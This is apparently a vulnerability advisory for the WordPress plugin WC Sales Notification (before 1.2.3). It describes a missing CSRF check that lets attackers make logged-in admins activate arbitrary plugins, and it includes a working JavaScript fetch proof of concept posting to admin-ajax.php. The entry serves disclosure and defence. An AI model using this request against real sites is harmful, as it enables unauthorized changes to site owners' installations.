WordPress Plugin Vulnerabilities

WC Sales Notification < 1.2.3 - Arbitrary Plugin Activation via CSRF

Description

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

Proof of Concept

fetch('https://example.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wcsalesnotification_ajax_plugin_activation&location=woocommerce/woocommerce.php',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));
